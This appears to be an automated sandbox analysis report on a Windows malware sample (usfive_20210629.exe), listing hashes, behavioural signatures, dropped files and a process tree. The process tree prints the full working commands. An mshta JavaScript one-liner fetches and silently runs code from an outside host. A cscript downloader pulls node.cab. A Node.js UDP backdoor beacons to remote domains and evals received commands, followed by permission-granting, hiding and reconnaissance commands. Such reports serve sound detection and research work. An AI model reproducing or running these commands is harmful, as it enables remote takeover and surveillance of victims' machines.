Analysis
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max time kernel
147s -
max time network
146s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
29-06-2021 10:01
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210629.exe
Resource
win7v20210408
General
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Target
usfive_20210629.exe
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Size
2KB
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MD5
09353c5898ccf513210a58fb9bb369e7
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SHA1
bb664adcc58466a0b158651a9e4216dbfd08607b
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SHA256
28918d35a5f4103695d04817fd2ac7de977d316a0cc94dad3b3f124f030686bc
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SHA512
0cd0a4f8b38b92d9bf46f2e068ce99917a7835b8bcb4a9ec4b0d3e7d570f34f48252e4e82df5f1fffc075aa82ae9c3eaab0e4e943de56f5003c97efd78c44e15
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 6 2900 mshta.exe 8 2672 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 3396 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
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Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 2576 ipconfig.exe 2140 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
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NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\5d6104b85d7eafc2:ads node.exe File created C:\ProgramData\DNTException\node.exe:6ee9a74b42aea4233fb19687e510c298 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
node.exepid process 3396 node.exe 3396 node.exe 3396 node.exe 3396 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 1424 tasklist.exe Token: SeIncreaseQuotaPrivilege 1328 wmic.exe Token: SeSecurityPrivilege 1328 wmic.exe Token: SeTakeOwnershipPrivilege 1328 wmic.exe Token: SeLoadDriverPrivilege 1328 wmic.exe Token: SeSystemProfilePrivilege 1328 wmic.exe Token: SeSystemtimePrivilege 1328 wmic.exe Token: SeProfSingleProcessPrivilege 1328 wmic.exe Token: SeIncBasePriorityPrivilege 1328 wmic.exe Token: SeCreatePagefilePrivilege 1328 wmic.exe Token: SeBackupPrivilege 1328 wmic.exe Token: SeRestorePrivilege 1328 wmic.exe Token: SeShutdownPrivilege 1328 wmic.exe Token: SeDebugPrivilege 1328 wmic.exe Token: SeSystemEnvironmentPrivilege 1328 wmic.exe Token: SeRemoteShutdownPrivilege 1328 wmic.exe Token: SeUndockPrivilege 1328 wmic.exe Token: SeManageVolumePrivilege 1328 wmic.exe Token: 33 1328 wmic.exe Token: 34 1328 wmic.exe Token: 35 1328 wmic.exe Token: 36 1328 wmic.exe Token: SeIncreaseQuotaPrivilege 1328 wmic.exe Token: SeSecurityPrivilege 1328 wmic.exe Token: SeTakeOwnershipPrivilege 1328 wmic.exe Token: SeLoadDriverPrivilege 1328 wmic.exe Token: SeSystemProfilePrivilege 1328 wmic.exe Token: SeSystemtimePrivilege 1328 wmic.exe Token: SeProfSingleProcessPrivilege 1328 wmic.exe Token: SeIncBasePriorityPrivilege 1328 wmic.exe Token: SeCreatePagefilePrivilege 1328 wmic.exe Token: SeBackupPrivilege 1328 wmic.exe Token: SeRestorePrivilege 1328 wmic.exe Token: SeShutdownPrivilege 1328 wmic.exe Token: SeDebugPrivilege 1328 wmic.exe Token: SeSystemEnvironmentPrivilege 1328 wmic.exe Token: SeRemoteShutdownPrivilege 1328 wmic.exe Token: SeUndockPrivilege 1328 wmic.exe Token: SeManageVolumePrivilege 1328 wmic.exe Token: 33 1328 wmic.exe Token: 34 1328 wmic.exe Token: 35 1328 wmic.exe Token: 36 1328 wmic.exe Token: SeDebugPrivilege 2140 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
usfive_20210629.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 3956 wrote to memory of 2900 3956 usfive_20210629.exe mshta.exe PID 3956 wrote to memory of 2900 3956 usfive_20210629.exe mshta.exe PID 3956 wrote to memory of 2900 3956 usfive_20210629.exe mshta.exe PID 2900 wrote to memory of 2216 2900 mshta.exe cmd.exe PID 2900 wrote to memory of 2216 2900 mshta.exe cmd.exe PID 2900 wrote to memory of 2216 2900 mshta.exe cmd.exe PID 2216 wrote to memory of 2672 2216 cmd.exe cscript.exe PID 2216 wrote to memory of 2672 2216 cmd.exe cscript.exe PID 2216 wrote to memory of 2672 2216 cmd.exe cscript.exe PID 2216 wrote to memory of 3772 2216 cmd.exe expand.exe PID 2216 wrote to memory of 3772 2216 cmd.exe expand.exe PID 2216 wrote to memory of 3772 2216 cmd.exe expand.exe PID 2216 wrote to memory of 3672 2216 cmd.exe cscript.exe PID 2216 wrote to memory of 3672 2216 cmd.exe cscript.exe PID 2216 wrote to memory of 3672 2216 cmd.exe cscript.exe PID 3672 wrote to memory of 3396 3672 cscript.exe node.exe PID 3672 wrote to memory of 3396 3672 cscript.exe node.exe PID 3672 wrote to memory of 3396 3672 cscript.exe node.exe PID 3396 wrote to memory of 2212 3396 node.exe cmd.exe PID 3396 wrote to memory of 2212 3396 node.exe cmd.exe PID 3396 wrote to memory of 2212 3396 node.exe cmd.exe PID 3396 wrote to memory of 680 3396 node.exe cacls.exe PID 3396 wrote to memory of 680 3396 node.exe cacls.exe PID 3396 wrote to memory of 680 3396 node.exe cacls.exe PID 3396 wrote to memory of 2484 3396 node.exe icacls.exe PID 3396 wrote to memory of 2484 3396 node.exe icacls.exe PID 3396 wrote to memory of 2484 3396 node.exe icacls.exe PID 3396 wrote to memory of 612 3396 node.exe attrib.exe PID 3396 wrote to memory of 612 3396 node.exe attrib.exe PID 3396 wrote to memory of 612 3396 node.exe attrib.exe PID 3396 wrote to memory of 2744 3396 node.exe attrib.exe PID 3396 wrote to memory of 2744 3396 node.exe attrib.exe PID 3396 wrote to memory of 2744 3396 node.exe attrib.exe PID 3396 wrote to memory of 1424 3396 node.exe tasklist.exe PID 3396 wrote to memory of 1424 3396 node.exe tasklist.exe PID 3396 wrote to memory of 1424 3396 node.exe tasklist.exe PID 3396 wrote to memory of 1328 3396 node.exe wmic.exe PID 3396 wrote to memory of 1328 3396 node.exe wmic.exe PID 3396 wrote to memory of 1328 3396 node.exe wmic.exe PID 3396 wrote to memory of 2576 3396 node.exe ipconfig.exe PID 3396 wrote to memory of 2576 3396 node.exe ipconfig.exe PID 3396 wrote to memory of 2576 3396 node.exe ipconfig.exe PID 3396 wrote to memory of 3372 3396 node.exe route.exe PID 3396 wrote to memory of 3372 3396 node.exe route.exe PID 3396 wrote to memory of 3372 3396 node.exe route.exe PID 3396 wrote to memory of 2140 3396 node.exe netstat.exe PID 3396 wrote to memory of 2140 3396 node.exe netstat.exe PID 3396 wrote to memory of 2140 3396 node.exe netstat.exe PID 3396 wrote to memory of 2332 3396 node.exe systeminfo.exe PID 3396 wrote to memory of 2332 3396 node.exe systeminfo.exe PID 3396 wrote to memory of 2332 3396 node.exe systeminfo.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 612 attrib.exe 2744 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210629.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210629.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();249;y=unescape('%340%7Eh%74t%70%3A%2F%2F%6Cu%31%2E%61s%69a%2Fh%72i%2F%3F%321%616%654%62%7E%322%35').split('~');230;try{x='WinHttp';9;x=new ActiveXObject(x+'.'+x+'Request.5.1');231;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);65;x.send();195;y='ipt.S';106;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);152;}catch(e){};214;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624960881303.txt & cscript /nologo /e:jscript get1624960881303.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23c306a35%26b%3D3d2aef90" node.cab & expand node.cab node.exe & del get1624960881303.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624960881303.txt & cscript /nologo /e:jscript get1624960881303.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273c306a35%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624960881303.txt3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624960881303.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F23c306a35%26b%3D3d2aef90" node.cab4⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624960881303.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273c306a35%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273c306a35%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\DNTException\get1624960881303.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
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C:\ProgramData\DNTException\get1624960881303.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
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C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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memory/612-134-0x0000000000000000-mapping.dmp
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memory/680-132-0x0000000000000000-mapping.dmp
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memory/1328-137-0x0000000000000000-mapping.dmp
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memory/1424-136-0x0000000000000000-mapping.dmp
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memory/2140-140-0x0000000000000000-mapping.dmp
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memory/2212-131-0x0000000000000000-mapping.dmp
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memory/2216-115-0x0000000000000000-mapping.dmp
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memory/2332-141-0x0000000000000000-mapping.dmp
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memory/2484-133-0x0000000000000000-mapping.dmp
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memory/2576-138-0x0000000000000000-mapping.dmp
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memory/2672-116-0x0000000000000000-mapping.dmp
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memory/2744-135-0x0000000000000000-mapping.dmp
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memory/2900-114-0x0000000000000000-mapping.dmp
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memory/3372-139-0x0000000000000000-mapping.dmp
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memory/3396-129-0x000000001EF00000-0x000000001EF01000-memory.dmpFilesize
4KB
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memory/3396-130-0x000000002FC00000-0x000000002FC01000-memory.dmpFilesize
4KB
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memory/3396-127-0x000000003DE00000-0x000000003DE01000-memory.dmpFilesize
4KB
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memory/3396-128-0x0000000037900000-0x0000000037901000-memory.dmpFilesize
4KB
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memory/3396-126-0x000000000F200000-0x000000000F201000-memory.dmpFilesize
4KB
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memory/3396-125-0x0000000015200000-0x0000000015201000-memory.dmpFilesize
4KB
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memory/3396-123-0x0000000000000000-mapping.dmp
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memory/3672-120-0x0000000000000000-mapping.dmp
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memory/3772-118-0x0000000000000000-mapping.dmp